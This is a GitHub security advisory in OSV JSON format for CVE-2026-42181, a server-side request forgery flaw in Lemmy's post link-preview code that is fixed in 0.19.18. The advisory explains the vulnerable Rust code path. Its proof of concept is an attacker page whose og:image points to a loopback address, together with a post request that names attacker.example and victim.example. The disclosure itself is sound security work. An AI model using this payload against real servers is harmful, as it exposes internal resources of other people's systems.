CVE-2026-42181: Lemmy api common Image Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h6hf-9846-xwrq",
  "modified" : "2026-05-13T13:34:02Z",
  "published" : "2026-04-24T15:21:58Z",
  "aliases" : [ "CVE-2026-42181" ],
  "summary" : "Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image",
  "details" : "### Summary\nLemmy fetches metadata for user-supplied post URLs and, under the default `StoreLinkPreviews` image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted `og:image` URL is not subject to the same restriction.\n\nAs a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.\n\n### Details\nThe metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, `extract_opengraph_data()` accepts absolute `og:image` values and returns them as-is. Later, `generate_post_link_metadata()` passes that second-hop image URL into `generate_pictrs_thumbnail()`, which instructs local pict-rs to fetch it through `image/download?url=...`.\n\nThis creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.\n\nCore vulnerable code path:\n\n```rust\n// crates/api_common/src/request.rs\nlet metadata = match &post.url {\n  Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(),\n  _ => Default::default(),\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet og_image = page\n  .opengraph\n  .images\n  .first()\n  .and_then(|ogo| url.join(&ogo.url).ok());\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {\n  generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url)\n} else {\n  image_url.clone()\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet fetch_url = format!(\n  \"{}image/download?url={}&resize={}\",\n  pictrs_config.url,\n  encode(image_url.as_str()),\n  context.settings().pictrs_config()?.max_thumbnail_size\n);\n```\n\nThese snippets show that only the outer page URL is checked, while the extracted `og:image` value becomes a server-side fetch target without an equivalent internal-address guard.\n\n### PoC\nPrerequisites:\n\n- The attacker has a valid low-privileged account.\n- The instance uses the default link preview storage mode.\n- The attacker can post a link to a community they can access.\n\nPractical reproduction flow:\n\n1. Host a public HTML page under attacker control.\n2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as `http://127.0.0.1:8081/internal.png`.\n3. Create a Lemmy post whose `url` is the attacker-controlled page.\n4. Observe Lemmy fetch the public page, extract `og:image`, and then fetch the internal image through pict-rs.\n5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.\n\nComplete PoC attacker page:\n\n```html\n<html><head>\n<meta property=\"og:image\" content=\"http://127.0.0.1:8081/internal.png\">\n</head><body>x</body></html>\n```\n\nComplete PoC request:\n\n```http\nPOST /api/v3/post HTTP/1.1\nHost: victim.example\nAuthorization: Bearer <low-priv-jwt>\nContent-Type: application/json\n\n{\n  \"name\": \"thumb-ssrf\",\n  \"community_id\": 1,\n  \"url\": \"https://attacker.example/og.html\",\n  \"body\": null,\n  \"alt_text\": null,\n  \"honeypot\": null,\n  \"nsfw\": false,\n  \"language_id\": null,\n  \"custom_thumbnail\": null\n}\n```\n\nOutcome:\n\n- The post creation request succeeds.\n- The internal image endpoint receives a request from the Lemmy server.\n- The created post is updated with a local `thumbnail_url`, indicating that the internal image was fetched and cached.\n\n### Impact\nThis issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path.\n\nBecause the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "lemmy_api_common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.19.18"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-h6hf-9846-xwrq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42181"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/commit/9ffe586dafac1a46acf17edf90e0165e5503b2f1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LemmyNet/lemmy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/releases/tag/0.19.18"
  }, {
    "type" : "WEB",
    "url" : "https://join-lemmy.org/news/2026-04-20_-_Lemmy_Release_v0.19.18"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-24T15:21:58Z",
    "nvd_published_at" : "2026-05-08T20:16:31Z"
  }
}